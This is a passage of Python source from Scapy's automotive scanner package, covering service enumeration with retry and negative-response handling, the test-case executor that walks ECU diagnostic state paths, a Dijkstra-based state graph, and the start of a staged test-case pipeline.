float(pkts_snt) / pkts_tbs def pre_execute(self, socket, state, global_configuration): # type: (_SocketUnion, EcuState, AutomotiveTestCaseExecutorConfiguration) -> None # noqa: E501 try: self._tester_present_sender = global_configuration["tps"] except KeyError: self._tester_present_sender = None def post_execute(self, socket, state, global_configuration): # type: (_SocketUnion, EcuState, AutomotiveTestCaseExecutorConfiguration) -> None # noqa: E501 self._tester_present_sender = None def execute(self, socket, state, **kwargs): # type: (_SocketUnion, EcuState, Any) -> None self.check_kwargs(kwargs) timeout = kwargs.pop('timeout', 1) count = kwargs.pop('count', None) execution_time = kwargs.pop("execution_time", 1200) stop_event = kwargs.pop("stop_event", None) # type: Optional[threading.Event] # noqa: E501 disable_tps = kwargs.pop("disable_tps_while_sending", False) inter = kwargs.pop("inter", 0) self._prepare_runtime_estimation(**kwargs) state_block_list = kwargs.get('state_block_list', list()) if state_block_list and state in state_block_list: self._state_completed[state] = True log_automotive.debug("State %s in block list!", repr(state)) return state_allow_list = kwargs.get('state_allow_list', list()) if state_allow_list and state not in state_allow_list: self._state_completed[state] = True log_automotive.debug("State %s not in allow list!", repr(state)) return it = self._get_request_iterator(state, **kwargs) # log_automotive.debug("[i] Using iterator %s in state %s", it, state) start_time = time.monotonic() log_automotive.debug( "Start execution of enumerator: %s", time.ctime()) for req in it: if stop_event: stop_event.wait(timeout=inter) else: time.sleep(inter) if disable_tps and self._tester_present_sender: self._tester_present_sender.disable() res = self.sr1_with_retry_on_error(req, socket, state, timeout) if disable_tps and self._tester_present_sender: self._tester_present_sender.enable() self._store_result(state, req, res) if self._evaluate_response(state, req, res, **kwargs): log_automotive.debug( "Stop test_case execution because of response evaluation") return if count is not None: count -= 1 if count <= 0: log_automotive.debug( "Finished execution count of enumerator") return if (start_time + execution_time) < time.monotonic(): log_automotive.debug( "[i] Finished execution time of enumerator: %s", time.ctime()) return if stop_event is not None and stop_event.is_set(): log_automotive.info( "Stop test_case execution because of stop event") return log_automotive.info("Finished iterator execution") self._state_completed[state] = True log_automotive.debug("States completed %s", repr(self._state_completed)) execute.__doc__ = _supported_kwargs_doc def sr1_with_retry_on_error(self, req, socket, state, timeout): # type: (Packet, _SocketUnion, EcuState, int) -> Optional[Packet] try: res = socket.sr1(req, timeout=timeout, verbose=False, chainEX=True, chainCC=True) except (OSError, ValueError, Scapy_Exception) as e: if not self._populate_retry(state, req): log_automotive.exception( "Exception during retry. This is bad") raise e return res def _evaluate_response(self, state, # type: EcuState request, # type: Packet response, # type: Optional[Packet] **kwargs # type: Optional[Dict[str, Any]] ): # type: (...) -> bool """ Evaluates the response and determines if the current scan execution should be stopped. :param state: Current state of the ECU under test :param request: Sent request :param response: Received response :param kwargs: Arguments to modify the behavior of this function. Supported arguments: - retry_if_none_received: True/False - exit_if_no_answer_received: True/False - exit_if_service_not_supported: True/False - exit_scan_on_first_negative_response: True/False - retry_if_busy_returncode: True/False :return: True, if current execution needs to be interrupted. False, if enumerator should proceed with the execution. """ if response is None: if cast(bool, kwargs.pop("retry_if_none_received", False)): log_automotive.debug( "Retry %s because None received", repr(request)) return self._populate_retry(state, request) return cast(bool, kwargs.pop("exit_if_no_answer_received", False)) if self._evaluate_negative_response_code( state, response, **kwargs): # leave current execution, because of a negative response code return True if self._evaluate_retry(state, request, response, **kwargs): # leave current execution, because a retry was set return True # cleanup retry packet self._retry_pkt[state] = [] return self._evaluate_ecu_state_modifications(state, request, response) def _evaluate_ecu_state_modifications(self, state, # type: EcuState request, # type: Packet response, # type: Packet ): # type: (...) -> bool if EcuState.is_modifier_pkt(response): if state != EcuState.get_modified_ecu_state( response, request, state): log_automotive.debug( "Exit execute. Ecu state was modified!") return True return False def _evaluate_negative_response_code(self, state, # type: EcuState response, # type: Packet **kwargs # type: Optional[Dict[str, Any]] # noqa: E501 ): # type: (...) -> bool exit_if_service_not_supported = \ kwargs.pop("exit_if_service_not_supported", False) exit_scan_on_first_negative_response = \ kwargs.pop("exit_scan_on_first_negative_response", False) if exit_scan_on_first_negative_response and response.service == 0x7f: return True if exit_if_service_not_supported and response.service == 0x7f: response_code = self._get_negative_response_code(response) if response_code in [0x11, 0x7f]: names = {0x11: "serviceNotSupported", 0x7f: "serviceNotSupportedInActiveSession"} log_automotive.debug( "Exit execute because negative response %s received!", names[response_code]) # execute of current state is completed, # since a serviceNotSupported negative response was received self._state_completed[state] = True # stop current execute and exit return True return False def _populate_retry(self, state, # type: EcuState request, # type: Packet ): # type: (...) -> bool """ Populates internal storage with request for a retry. :param state: Current state :param request: Request which needs a retry :return: True, if storage was populated. If False is returned, the retry storage is still populated. This indicates that the current execution was already a retry execution. """ if not self._get_retry_iterator(state): # This was no retry since the retry_pkt is None self._retry_pkt[state] = request log_automotive.debug( "Exit execute. Retry packet next time!") return True else: # This was a unsuccessful retry, continue execute log_automotive.debug("Unsuccessful retry!") return False def _evaluate_retry(self, state, # type: EcuState request, # type: Packet response, # type: Packet **kwargs # type: Optional[Dict[str, Any]] ): # type: (...) -> bool retry_if_busy_returncode = \ kwargs.pop("retry_if_busy_returncode", True) if retry_if_busy_returncode and response.service == 0x7f \ and self._get_negative_response_code(response) == 0x21: log_automotive.debug( "Retry %s because retry_if_busy_returncode received", repr(request)) return self._populate_retry(state, request) return False def _compute_statistics(self): # type: () -> List[Tuple[str, str, str]] data_sets = [("all", self._results)] for state in self._state_completed.keys(): data_sets.append((repr(state), [r for r in self._results if r.state == state])) stats = list() # type: List[Tuple[str, str, str]] for desc, data in data_sets: answered = [cast(_AutomotiveTestCaseFilteredScanResult, r) for r in data if r.resp is not None and r.resp_ts is not None] unanswered = [r for r in data if r.resp is None] answertimes = [float(x.resp_ts) - float(x.req_ts) for x in answered] answertimes_nr = [float(x.resp_ts) - float(x.req_ts) for x in answered if x.resp.service == 0x7f] answertimes_pr = [float(x.resp_ts) - float(x.req_ts) for x in answered if x.resp.service != 0x7f] nrs = [r.resp for r in answered if r.resp.service == 0x7f] stats.append((desc, "num_answered", str(len(answered)))) stats.append((desc, "num_unanswered", str(len(unanswered)))) stats.append((desc, "num_negative_resps", str(len(nrs)))) for postfix, times in zip( ["", "_nr", "_pr"], [answertimes, answertimes_nr, answertimes_pr]): try: ma = str(round(max(times), 5)) except ValueError: ma = "-" try: mi = str(round(min(times), 5)) except ValueError: mi = "-" try: avg = str(round(sum(times) / len(times), 5)) except (ValueError, ZeroDivisionError): avg = "-" stats.append((desc, "answertime_min" + postfix, mi)) stats.append((desc, "answertime_max" + postfix, ma)) stats.append((desc, "answertime_avg" + postfix, avg)) return stats def _show_statistics(self, **kwargs): # type: (Any) -> str stats = self._compute_statistics() s = "%d requests were sent, %d answered, %d unanswered" % \ (len(self._results), len(self.results_with_response), len(self.results_without_response)) + "\n" s += "Statistics per state\n" s += make_lined_table(stats, lambda *x: x, dump=True, sortx=str, sorty=str) or "" return s + "\n" def _prepare_negative_response_blacklist(self): # type: () -> None nrc_dict = defaultdict(int) # type: Dict[int, int] for nr in self.results_with_negative_response: nrc_dict[self._get_negative_response_code(nr.resp)] += 1 total_nr_count = len(self.results_with_negative_response) for nrc, nr_count in nrc_dict.items(): if nrc not in self.negative_response_blacklist and \ nr_count > 30 and (nr_count / total_nr_count) > 0.3: log_automotive.info("Added NRC 0x%02x to filter", nrc) self.negative_response_blacklist.append(nrc) if nrc in self.negative_response_blacklist and nr_count < 10: log_automotive.info("Removed NRC 0x%02x to filter", nrc) self.negative_response_blacklist.remove(nrc) @property def results(self): # type: () -> List[_AutomotiveTestCaseScanResult] return self._results @property def results_with_response(self): # type: () -> List[_AutomotiveTestCaseFilteredScanResult] filtered_results = list() for r in self._results: if r.resp is None: continue if r.resp_ts is None: continue fr = cast(_AutomotiveTestCaseFilteredScanResult, r) filtered_results.append(fr) return filtered_results @property def filtered_results(self): # type: () -> List[_AutomotiveTestCaseFilteredScanResult] filtered_results = self.results_with_positive_response for r in self.results_with_negative_response: nrc = self._get_negative_response_code(r.resp) if nrc not in self.negative_response_blacklist: filtered_results.append(r) return filtered_results @property def scanned_states(self): # type: () -> Set[EcuState] """ Helper function to get all sacnned states in results :return: all scanned states """ return set([tup.state for tup in self._results]) @property def results_with_negative_response(self): # type: () -> List[_AutomotiveTestCaseFilteredScanResult] """ Helper function to get all results with negative response :return: all results with negative response """ return [r for r in self.results_with_response if r.resp and r.resp.service == 0x7f] @property def results_with_positive_response(self): # type: () -> List[_AutomotiveTestCaseFilteredScanResult] """ Helper function to get all results with positive response :return: all results with positive response """ return [r for r in self.results_with_response # noqa: E501 if r.resp and r.resp.service != 0x7f] @property def results_without_response(self): # type: () -> List[_AutomotiveTestCaseScanResult] """ Helper function to get all results without response :return: all results without response """ return [r for r in self._results if r.resp is None] def _show_negative_response_details(self, **kwargs): # type: (Any) -> str nrc_dict = defaultdict(int) # type: Dict[int, int] for nr in self.results_with_negative_response: nrc_dict[self._get_negative_response_code(nr.resp)] += 1 s = "These negative response codes were received " + \ " ".join([hex(c) for c in nrc_dict.keys()]) + "\n" for nrc, nr_count in nrc_dict.items(): s += "\tNRC 0x%02x: %s received %d times" % ( nrc, self._get_negative_response_desc(nrc), nr_count) s += "\n" return s + "\n" def _show_negative_response_information(self, **kwargs): # type: (Any) -> str filtered = kwargs.get("filtered", True) s = "%d negative responses were received\n" % \ len(self.results_with_negative_response) s += "\n" s += self._show_negative_response_details(**kwargs) or "" + "\n" if filtered and len(self.negative_response_blacklist): s += "The following negative response codes are blacklisted: %s\n" \ % [self._get_negative_response_desc(nr) for nr in self.negative_response_blacklist] return s + "\n" def _show_results_information(self, **kwargs): # type: (Any) -> str def _get_table_entry( *args: Any ): # type: (...) -> Tuple[str, str, str] tup = cast(_AutomotiveTestCaseScanResult, args) return self._get_table_entry_x(tup), \ self._get_table_entry_y(tup), \ self._get_table_entry_z(tup) filtered = kwargs.get("filtered", True) s = "=== No data to display ===\n" data = self._results if not filtered else self.filtered_results # type: Union[List[_AutomotiveTestCaseScanResult], List[_AutomotiveTestCaseFilteredScanResult]] # noqa: E501 if len(data): s = make_lined_table( data, _get_table_entry, dump=True, sortx=str) or "" return s + "\n" def show(self, dump=False, filtered=True, verbose=False): # type: (bool, bool, bool) -> Optional[str] if filtered: self._prepare_negative_response_blacklist() show_functions = [self._show_header, self._show_statistics, self._show_negative_response_information, self._show_results_information] if verbose: show_functions.append(self._show_state_information) s = "\n".join(x(filtered=filtered) for x in show_functions) if dump: return s + "\n" else: print(s) return None def _get_label(self, response, positive_case="PR: PositiveResponse"): # type: (Optional[Packet], Union[Callable[[Packet], str], str]) -> str if response is None: return "Timeout" elif orb(bytes(response)[0]) == 0x7f: return self._get_negative_response_label(response) else: if isinstance(positive_case, str): return positive_case elif callable(positive_case): return positive_case(response) else: raise Scapy_Exception("Unsupported Type for positive_case. " "Provide a string or a function.") @property def supported_responses(self): # type: () -> List[EcuResponse] supported_resps = list() all_responses = [p for p in self._result_packets.values() if orb(bytes(p)[0]) & 0x40] for resp in all_responses: states = list(set([t.state for t in self.results_with_response if t.resp == resp])) supported_resps.append(EcuResponse(state=states, responses=resp)) return supported_resps class StateGeneratingServiceEnumerator( ServiceEnumerator, StateGenerator, metaclass=abc.ABCMeta ): def __init__(self): # type: () -> None super(StateGeneratingServiceEnumerator, self).__init__() # Internal storage of request packets for a certain Edge. If an edge # is found during the evaluation of the last result of the # ServiceEnumerator, the according request of the result tuple is # stored together with the new Edge. self._edge_requests = dict() # type: Dict[_Edge, Packet] def get_new_edge(self, socket, # type: _SocketUnion config # type: AutomotiveTestCaseExecutorConfiguration ): # type: (...) -> Optional[_Edge] """ Basic identification of a new edge. The last response is evaluated. If this response packet can modify the state of an Ecu, this new state is returned, otherwise None. :param socket: Socket to the DUT (unused) :param config: Global configuration of the executor (unused) :return: tuple of old EcuState and new EcuState, or None """ try: state, req, resp, _, _ = cast(ServiceEnumerator, self).results[-1] except IndexError: return None if resp is not None and EcuState.is_modifier_pkt(resp): new_state = EcuState.get_modified_ecu_state(resp, req, state) if new_state == state: return None else: edge = (state, new_state) self._edge_requests[edge] = req return edge else: return None @staticmethod def transition_function( sock, # type: _SocketUnion config, # type: AutomotiveTestCaseExecutorConfiguration kwargs # type: Dict[str, Any] ): # type: (...) -> bool """ Very basic transition function. This function sends a given request in kwargs and evaluates the response. :param sock: Connection to the DUT :param config: Global configuration of the executor (unused) :param kwargs: Dictionary with arguments. This function only uses the argument *"req"* which must contain a Packet, causing an EcuState transition of the DUT. :return: True in case of a successful transition, else False """ req = kwargs.get("req", None) if req is None: return False try: res = sock.sr1(req, timeout=20, verbose=False, chainEX=True) return res is not None and res.service != 0x7f except (OSError, ValueError, Scapy_Exception) as e: log_automotive.exception( "Exception in transition function: %s", e) return False def get_transition_function_description(self, edge): # type: (_Edge) -> str return repr(self._edge_requests[edge]) def get_transition_function_kwargs(self, edge): # type: (_Edge) -> Dict[str, Any] req = self._edge_requests[edge] kwargs = { "desc": self.get_transition_function_description(edge), "req": req } return kwargs def get_transition_function(self, socket, edge): # type: (_SocketUnion, _Edge) -> Optional[_TransitionTuple] try: return self.transition_function, \ self.get_transition_function_kwargs(edge), None except KeyError: return None ================================================ FILE: scapy/contrib/automotive/scanner/executor.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Nils Weiss # scapy.contrib.description = AutomotiveTestCaseExecutor base class # scapy.contrib.status = library import abc import time from itertools import product from scapy.contrib.automotive import log_automotive from scapy.contrib.automotive.scanner.graph import Graph from scapy.error import Scapy_Exception from scapy.supersocket import SuperSocket from scapy.utils import make_lined_table, SingleConversationSocket from scapy.contrib.automotive.ecu import EcuState, EcuResponse, Ecu from scapy.contrib.automotive.scanner.configuration import \ AutomotiveTestCaseExecutorConfiguration from scapy.contrib.automotive.scanner.test_case import AutomotiveTestCaseABC, \ _SocketUnion, _CleanupCallable, StateGenerator, TestCaseGenerator, \ AutomotiveTestCase # Typing imports from typing import ( Any, Union, List, Optional, Dict, Callable, Type, cast, TypeVar, ) T = TypeVar("T") class AutomotiveTestCaseExecutor(metaclass=abc.ABCMeta): """ Base class for different automotive scanners. This class handles the connection to a scan target, ensures the execution of all it's test cases, and stores the system state machine :param socket: A socket object to communicate with the scan target :param reset_handler: A function to reset the scan target :param reconnect_handler: In case the communication needs to be established after a reset, provide a reconnect function which returns a socket object :param test_cases: A list of TestCase instances or classes :param kwargs: Arguments for the internal AutomotiveTestCaseExecutorConfiguration instance """ @property def _initial_ecu_state(self): # type: () -> EcuState return EcuState(session=1) def __init__( self, socket, # type: Optional[_SocketUnion] reset_handler=None, # type: Optional[Callable[[], None]] reconnect_handler=None, # type: Optional[Callable[[], _SocketUnion]] # noqa: E501 test_cases=None, # type: Optional[List[Union[AutomotiveTestCaseABC, Type[AutomotiveTestCaseABC]]]] # noqa: E501 software_reset_handler=None, # type: Optional[Callable[[_SocketUnion], None]] # noqa: E501 **kwargs # type: Optional[Dict[str, Any]] ): # type: (...) -> None # The TesterPresentSender can interfere with a test_case, since a # target may only allow one request at a time. # The SingleConversationSocket prevents interleaving requests. if socket and not isinstance(socket, SingleConversationSocket): self.socket = SingleConversationSocket(socket) # type: Optional[_SocketUnion] # noqa: E501 else: self.socket = socket self.target_state = self._initial_ecu_state self.reset_handler = reset_handler self.reconnect_handler = reconnect_handler self.software_reset_handler = software_reset_handler self.cleanup_functions = list() # type: List[_CleanupCallable] self.configuration = AutomotiveTestCaseExecutorConfiguration( test_cases or self.default_test_case_clss, **kwargs) self.validate_test_case_kwargs() def __reduce__(self): # type: ignore f, t, d = super(AutomotiveTestCaseExecutor, self).__reduce__() # type: ignore # noqa: E501 try: del d["socket"] except KeyError: pass try: del d["reset_handler"] except KeyError: pass try: del d["reconnect_handler"] except KeyError: pass return f, t, d @property @abc.abstractmethod def default_test_case_clss(self): # type: () -> List[Type[AutomotiveTestCaseABC]] raise NotImplementedError() @property def state_graph(self): # type: () -> Graph return self.configuration.state_graph @property def state_paths(self): # type: () -> List[List[EcuState]] """ Returns all state paths. A path is represented by a list of EcuState objects. :return: A list of paths. """ paths = [Graph.dijkstra(self.state_graph, self._initial_ecu_state, s) for s in self.state_graph.nodes if s != self._initial_ecu_state] return sorted( [p for p in paths if p] + [[self._initial_ecu_state]], key=lambda x: x[-1]) @property def final_states(self): # type: () -> List[EcuState] """ Returns a list with all final states. A final state is the last state of a path. :return: """ return [p[-1] for p in self.state_paths] @property def scan_completed(self): # type: () -> bool return all(t.has_completed(s) for t, s in product(self.configuration.test_cases, self.final_states)) def reset_target(self): # type: () -> None log_automotive.info("Target reset") if self.reset_handler: self.reset_handler() elif self.software_reset_handler: if self.socket and self.socket.closed: self.reconnect() if self.socket: self.software_reset_handler(self.socket) self.target_state = self._initial_ecu_state def reconnect(self): # type: () -> None if not self.reconnect_handler: return try: if self.socket: self.socket.close() except Exception as e: log_automotive.exception( "Exception '%s' during socket.close", e) log_automotive.info("Target reconnect") socket = self.reconnect_handler() self.socket = socket if isinstance(socket, SingleConversationSocket) \ else SingleConversationSocket(socket) if self.socket and self.socket.closed: raise Scapy_Exception( "Socket closed even after reconnect. Stop scan!") def execute_test_case(self, test_case, kill_time=None): # type: (AutomotiveTestCaseABC, Optional[float]) -> None """ This function ensures the correct execution of a testcase, including the pre_execute, execute and post_execute. Finally, the testcase is asked if a new edge or a new testcase was generated. :param test_case: A test case to be executed :param kill_time: If set, this defines the maximum execution time for the current test_case :return: None """ if not self.socket: log_automotive.warning("Socket is None! Leaving execute_test_case") return test_case.pre_execute( self.socket, self.target_state, self.configuration) try: test_case_kwargs = self.configuration[test_case.__class__.__name__] except KeyError: test_case_kwargs = dict() if kill_time: max_execution_time = max(int(kill_time - time.monotonic()), 5) cur_execution_time = test_case_kwargs.get("execution_time", 1200) test_case_kwargs["execution_time"] = min(max_execution_time, cur_execution_time) log_automotive.debug("Execute test_case %s with args %s", test_case.__class__.__name__, test_case_kwargs) test_case.execute(self.socket, self.target_state, **test_case_kwargs) test_case.post_execute( self.socket, self.target_state, self.configuration) self.check_new_states(test_case) self.check_new_testcases(test_case) if hasattr(test_case, "runtime_estimation"): estimation = test_case.runtime_estimation() if estimation is not None: log_automotive.debug( "[i] Test_case %s: TODO %d, " "DONE %d, TOTAL %0.2f", test_case.__class__.__name__, estimation[0], estimation[1], estimation[2]) def check_new_testcases(self, test_case): # type: (AutomotiveTestCaseABC) -> None if isinstance(test_case, TestCaseGenerator): new_test_case = test_case.get_generated_test_case() if new_test_case: log_automotive.debug("Testcase generated %s", new_test_case) self.configuration.add_test_case(new_test_case) def check_new_states(self, test_case): # type: (AutomotiveTestCaseABC) -> None if not self.socket: log_automotive.warning("Socket is None! Leaving check_new_states") return if isinstance(test_case, StateGenerator): edge = test_case.get_new_edge(self.socket, self.configuration) if edge: log_automotive.debug("Edge found %s", edge) tf = test_case.get_transition_function(self.socket, edge) self.state_graph.add_edge(edge, tf) def validate_test_case_kwargs(self): # type: () -> None for test_case in self.configuration.test_cases: if isinstance(test_case, AutomotiveTestCase): test_case_kwargs = self.configuration[test_case.__class__.__name__] test_case.check_kwargs(test_case_kwargs) def stop_scan(self): # type: () -> None self.configuration.stop_event.set() log_automotive.debug("Internal stop event set!") def progress(self): # type: () -> float progress = [] for tc in self.configuration.test_cases: if not hasattr(tc, "runtime_estimation"): continue est = tc.runtime_estimation() if est is None: continue progress.append(est[2]) return sum(progress) / len(progress) if len(progress) else 0.0 def scan(self, timeout=None): # type: (Optional[int]) -> None """ Executes all testcases for a given time. :param timeout: Time for execution. :return: None """ self.configuration.stop_event.clear() if timeout is None: kill_time = None else: kill_time = time.monotonic() + timeout while True: terminate = kill_time and kill_time <= time.monotonic() if terminate: log_automotive.debug( "Execution time exceeded. Terminating scan!") return test_case_executed = False log_automotive.info("[i] Scan progress %0.2f", self.progress()) log_automotive.debug("[i] Scan paths %s", self.state_paths) for p, test_case in product( self.state_paths, self.configuration.test_cases): log_automotive.info("Scan path %s", p) terminate = kill_time and kill_time <= time.monotonic() if terminate or self.configuration.stop_event.is_set(): log_automotive.debug( "Execution time exceeded. Terminating scan!") break final_state = p[-1] if test_case.has_completed(final_state): log_automotive.debug("State %s for %s completed", repr(final_state), test_case) continue try: if not self.enter_state_path(p): log_automotive.error( "Error entering path %s", p) continue log_automotive.info( "Execute %s for path %s", str(test_case), p) self.execute_test_case(test_case, kill_time) test_case_executed = True except (OSError, ValueError, Scapy_Exception) as e: log_automotive.exception("Exception: %s", e) if self.configuration.debug: raise e if isinstance(e, OSError): log_automotive.exception( "OSError occurred, closing socket") if self.socket: self.socket.close() if (self.socket and cast(SuperSocket, self.socket).closed and self.reconnect_handler is None): log_automotive.critical( "Socket went down. Need to leave scan") raise e finally: self.cleanup_state() if not test_case_executed: log_automotive.info( "Execute failure or scan completed. Exit scan!") break self.cleanup_state() self.reset_target() def enter_state_path(self, path): # type: (List[EcuState]) -> bool """ Resets and reconnects to a target and applies all transition functions to traversal a given path. :param path: Path to be applied to the scan target. :return: True, if all transition functions could be executed. """ if path[0] != self._initial_ecu_state: raise Scapy_Exception( "Initial state of path not equal reset state of the target") self.reset_target() self.reconnect() if len(path) == 1: return True for next_state in path[1:]: if self.configuration.stop_event.is_set(): self.cleanup_state() return False edge = (self.target_state, next_state) self.configuration.stop_event.wait( timeout=self.configuration.delay_enter_state) if not self.enter_state(*edge): self.state_graph.downrate_edge(edge) self.cleanup_state() return False return True def enter_state(self, prev_state, next_state): # type: (EcuState, EcuState) -> bool """ Obtains a transition function from the system state graph and executes it. On success, the cleanup function is added for a later cleanup of the new state. :param prev_state: Current state :param next_state: Desired state :return: True, if state could be changed successful """ if not self.socket: log_automotive.warning("Socket is None! Leaving enter_state") return False edge = (prev_state, next_state) funcs = self.state_graph.get_transition_tuple_for_edge(edge) if funcs is None: log_automotive.error("No transition function for %s", edge) return False trans_func, trans_kwargs, clean_func = funcs state_changed = trans_func( self.socket, self.configuration, trans_kwargs) if self.socket.closed: for i in range(5): try: self.reconnect() break except Exception: if i == 4: raise if self.configuration.stop_event: self.configuration.stop_event.wait(1) else: time.sleep(1) if state_changed: self.target_state = next_state if clean_func is not None: self.cleanup_functions += [clean_func] return True else: log_automotive.info("Transition for edge %s failed", edge) return False def cleanup_state(self): # type: () -> None """ Executes all collected cleanup functions from a traversed path :return: None """ for f in self.cleanup_functions: if not callable(f): continue try: if not f(self.socket, self.configuration): # type: ignore log_automotive.info( "Cleanup function %s failed", repr(f)) except (OSError, ValueError, Scapy_Exception) as e: log_automotive.critical("Exception during cleanup: %s", e) self.cleanup_functions = list() def show_testcases(self): # type: () -> None for t in self.configuration.test_cases: t.show() def show_testcases_status(self): # type: () -> None data = list() for t in self.configuration.test_cases: for s in self.state_graph.nodes: data += [(repr(s), t.__class__.__name__, t.has_completed(s))] make_lined_table(data, lambda *tup: (tup[0], tup[1], tup[2])) def get_test_cases_by_class(self, cls): # type: (Type[T]) -> List[T] return [x for x in self.configuration.test_cases if isinstance(x, cls)] @property def supported_responses(self): # type: () -> List[EcuResponse] """ Returns a sorted list of supported responses, gathered from all enumerators. The sort is done in a way to provide the best possible results, if this list of supported responses is used to simulate an real world Ecu with the EcuAnsweringMachine object. :return: A sorted list of EcuResponse objects """ supported_responses = list() for tc in self.configuration.test_cases: supported_responses += tc.supported_responses supported_responses.sort(key=Ecu.sort_key_func) return supported_responses ================================================ FILE: scapy/contrib/automotive/scanner/graph.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Nils Weiss # scapy.contrib.description = Graph library for AutomotiveTestCaseExecutor # scapy.contrib.status = library from collections import defaultdict from scapy.contrib.automotive import log_automotive from scapy.contrib.automotive.ecu import EcuState # Typing imports from typing import ( Union, List, Optional, Dict, Tuple, Set, TYPE_CHECKING, ) _Edge = Tuple[EcuState, EcuState] if TYPE_CHECKING: from scapy.contrib.automotive.scanner.test_case import _TransitionTuple class Graph(object): """ Helper object to store a directional Graph of EcuState objects. An edge in this Graph is defined as Tuple of two EcuStates. A node is defined as EcuState. self.edges is a dict of all possible next nodes e.g. {'X': ['A', 'B', 'C', 'E'], ...} self.__transition_functions has all the transition_functions between two nodes, with the two nodes as a tuple as the key e.g. {('X', 'A'): 7, ('X', 'B'): 2, ...} """ def __init__(self): # type: () -> None self.edges = defaultdict(list) # type: Dict[EcuState, List[EcuState]] self.__transition_functions = {} # type: Dict[_Edge, Optional["_TransitionTuple"]] # noqa: E501 self.weights = {} # type: Dict[_Edge, int] def add_edge(self, edge, transition_function=None): # type: (_Edge, Optional["_TransitionTuple"]) -> None """ Inserts new edge in directional graph :param edge: edge from node to node :param transition_function: tuple with enter and cleanup function """ if edge[1] in self.edges[edge[0]]: # Edge already exists return self.edges[edge[0]].append(edge[1]) self.weights[edge] = 1 self.__transition_functions[edge] = transition_function def get_transition_tuple_for_edge(self, edge): # type: (_Edge) -> Optional["_TransitionTuple"] # noqa: E501 """ Returns a TransitionTuple for an Edge, if available. :param edge: Tuple of EcuStates :return: According TransitionTuple or None """ return self.__transition_functions.get(edge, None) def downrate_edge(self, edge): # type: (_Edge) -> None """ Increases the weight of an Edge :param edge: Edge on which the weight has t obe increased """ try: self.weights[edge] += 1 except KeyError: pass @property def transition_functions(self): # type: () -> Dict[_Edge, Optional["_TransitionTuple"]] """ Get the dict of all TransistionTuples :return: """ return self.__transition_functions @property def nodes(self): # type: () -> Union[List[EcuState], Set[EcuState]] """ Get a set of all nodes in this Graph :return: """ return set([n for k, p in self.edges.items() for n in p + [k]]) def render(self, filename="SystemStateGraph.gv", view=True): # type: (str, bool) -> None """ Renders this Graph as PDF, if `graphviz` is installed. :param filename: A filename for the rendered PDF. :param view: If True, rendered file will be opened. """ try: from graphviz import Digraph except ImportError: log_automotive.info("Please install graphviz.") return ps = Digraph(name="SystemStateGraph", node_attr={"fillcolor": "lightgrey", "style": "filled", "shape": "box"}, graph_attr={"concentrate": "true"}) for n in self.nodes: ps.node(str(n)) for e, f in self.__transition_functions.items(): try: desc = "" if f is None else f[1]["desc"] except (AttributeError, KeyError): desc = "" ps.edge(str(e[0]), str(e[1]), label=desc) ps.render(filename, view=view) @staticmethod def dijkstra(graph, initial, end): # type: (Graph, EcuState, EcuState) -> List[EcuState] """ Compute shortest paths from initial to end in graph Partly from https://benalexkeen.com/implementing-djikstras-shortest-path-algorithm-with-python/ # noqa: E501 :param graph: Graph where path is computed :param initial: Start node :param end: End node :return: A path as list of nodes """ shortest_paths = {initial: (None, 0)} # type: Dict[EcuState, Tuple[Optional[EcuState], int]] # noqa: E501 current_node = initial visited = set() while current_node != end: visited.add(current_node) destinations = graph.edges[current_node] weight_to_current_node = shortest_paths[current_node][1] for next_node in destinations: weight = graph.weights[(current_node, next_node)] + \ weight_to_current_node if next_node not in shortest_paths: shortest_paths[next_node] = (current_node, weight) else: current_shortest_weight = shortest_paths[next_node][1] if current_shortest_weight > weight: shortest_paths[next_node] = (current_node, weight) next_destinations = {node: shortest_paths[node] for node in shortest_paths if node not in visited} if not next_destinations: return [] # next node is the destination with the lowest weight current_node = min(next_destinations, key=lambda k: next_destinations[k][1]) # Work back through destinations in shortest path last_node = shortest_paths[current_node][0] path = [current_node] while last_node is not None: path.append(last_node) last_node = shortest_paths[last_node][0] # Reverse path path.reverse() return path ================================================ FILE: scapy/contrib/automotive/scanner/staged_test_case.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Nils Weiss # scapy.contrib.description = Staged AutomotiveTestCase base classes # scapy.contrib.status = library from scapy.contrib.automotive import log_automotive from scapy.contrib.automotive.scanner.graph import _Edge from scapy.contrib.automotive.ecu import EcuState, EcuResponse, Ecu from scapy.contrib.automotive.scanner.test_case import AutomotiveTestCaseABC, \ TestCaseGenerator, StateGenerator, _SocketUnion # Typing imports from typing import ( Any, List, Optional, Dict, Callable, cast, Tuple, TYPE_CHECKING, ) if TYPE_CHECKING: from scapy.contrib.automotive.scanner.test_case import _TransitionTuple from scapy.contrib.automotive.scanner.configuration import \ AutomotiveTestCaseExecutorConfiguration # type definitions _TestCaseConnectorCallable = \ Callable[[AutomotiveTestCaseABC, AutomotiveTestCaseABC], Dict[str, Any]] class StagedAutomotiveTestCase(AutomotiveTestCaseABC, TestCaseGenerator, StateGenerator): # noqa: E501 """ Helper object to build a pipeline of TestCases. This allows to combine TestCases and to execute them after each other. Custom connector functions can be used to exchange and manipulate the configuration of a subsequent TestCase. :param test_cases: A list of objects following the AutomotiveTestCaseABC interface :param connectors: A list of connector functions. A connector function takes two TestCase objects and returns a dictionary which is provided to the second TestCase as kwargs of the execute function. Example: >>> class MyTestCase2(AutomotiveTestCaseABC): >>> pass >>> >>> class MyTestCase1(AutomotiveTestCaseABC): >>> pass >>> >>> def connector(testcase1, testcase2): >>> scan_range = len(testcase1.results) >>> return {"verbose": True, "scan_range": scan_range} >>> >>> tc1 = MyTestCase1() >>> tc2 = MyTestCase2() >>> pipeline = StagedAutomotiveTestCase([tc1, tc2], [None, connector]) """ # Delay the increment of a stage after the current stage is finished # has_completed() has to be called five times in order to increment the # current stage. This ensures, that the current stage is executed for # all possible states of the DUT, and no state is missed for the first # TestCase. __delay_stages = 5 def __init__(self, test_cases, # type: List[AutomotiveTestCaseABC] connectors=None # type: Optional[List[Optional[_TestCaseConnectorCallable]]] # noqa: E501 ): # type: (...) -> None super(StagedAutomotiveTestCase, self).__init__() self.__test_cases = test_cases self.__connectors = connectors self.__stage_index = 0 self.__completion_delay = 0 self.__current_kwargs = None # type: Optional[Dict[str, Any]] def __getitem__(self, item): # type: (int) -> AutomotiveTestCaseABC return self.__test_cases[item] def __len__(self): # type: () -> int return len(self.__test_cases) # 